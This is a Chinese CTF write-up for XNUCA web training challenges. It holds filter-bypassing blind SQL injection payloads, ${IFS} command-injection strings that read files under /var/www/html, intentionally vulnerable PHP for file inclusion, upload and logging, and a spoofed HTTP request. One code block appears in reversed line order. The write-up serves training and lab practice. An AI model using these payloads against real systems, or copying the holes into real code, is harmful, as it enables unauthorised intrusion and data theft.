[XNUCA 进阶篇](web)writeup

XNUCA 靶场练习题writeup

default

阳关总在风雨后

题目过滤很多，*，#，/ ，and,or,|，union,空格，都不能用

盲注，最后的姿势是：1'%(1)%'1

中间的括号的位置是提交查询语句的地方，由于过滤了 or 所以只能使用mid from 的姿势对字符串进行截取

uname=1'%(ascii(mid((select(group_concat(passwd))from(admin))from(1)))>1)%'1

还有一种一航的可以使用异或符号

uname=admin'^!1^'1

脚本跑出：50f87a3a3ad48e26a5d9058418fb78b5

解密是得到 shuangshuang，然后进行登录

登录上去之后是一个命令执行

• 过滤了空格
• 过滤了php字符
• 权限只有只读
• 显示只显示命令结果的最后一行

绕过方法如下：

• 使用${IFS}代替空格,已附参考链接
• 命令后面添加 | head -n 1 绕过只显示最后一行

所以我们执行的命令依次为

• ls${IFS}/var/www/html|head${IFS}-n${IFS}1
  • 
• ls${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head${IFS}-n${IFS}1
  • 
• cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*|head${IFS}-n${IFS}1
  • 

Document

• 看源码
• 

Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

• 

<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

login

• 

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
	include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
	echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
	$logfile = "./log/".$login.".log";
	file_put_contents($logfile, $login."\n".$password);
}
?>
	<center>
		login<br/><br/>
		<form action="" method="POST">
			<input name="login" placeholder="login"><br/>
			<input name="password" placeholder="password"><br/><br/>
			<input type="submit" value="Go!">
		</form>
	</center>

• 

捉迷藏

修改背景色

vote

echo '<br><a href="index.php">goBack</a><br>';
echo '</table>';
echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
while ($r = mysql_fetch_array($q)) {
	echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
	echo '<table border="1">';
	echo '<p><b>Thank you!</b> Results:</p>';

	$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
	$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
	$vote = 1;
	if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
	$id = $_POST['id'];
	die('please select ...');
	if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
		$login = $_SESSION['login'];
	}
	$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
	if (!isset($_SESSION['login'])) {
		session_start();
		include 'db.php'; < ?

DrinkCoffee

解这个得到cafe,最后提交

POST / HTTP/1.1
Host: 218.76.35.75:65280
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
X-Forwarded-For: 10.10.20.1
Referer: http://www.iie.ac.cn
Cookie: PHPSESSID=u3dn1o0ldnv8e244foo5kudvq4
Connection: close
Upgrade-Insecure-Requests: 1

password=cafe

php是门松散的语言

简单问答

后台

• 

• 

• 

php是最好的语言

HTTP头注入

明显的报错



Y0ugetT82f00000laev

简单的文件上传

修改一下content-type

简单的js

char = (60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,102,108,48,97,46,112,104,112,34,62)
password = ''
for i in char:
    password += chr(i)

print password
//"./fl0a.php"

访问然后查看请求头即可

C00k1els60SecU5e

试试xss

' />

简单的文件包含

然后访问链接即可

简单的验证

爆破guess的值，得到573

EaSy70Ch1ngG00kie

GG

前端题，只发现一个js,copy ,复制到 firefox的console,然后美化源代码，耐心点看

'webqwer'[1] + '100.js'

所以就是 e100.js

oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk

Reappear

e...是一个反的base64，利用py的切片操作：flag:{uveDoneAgreatJob}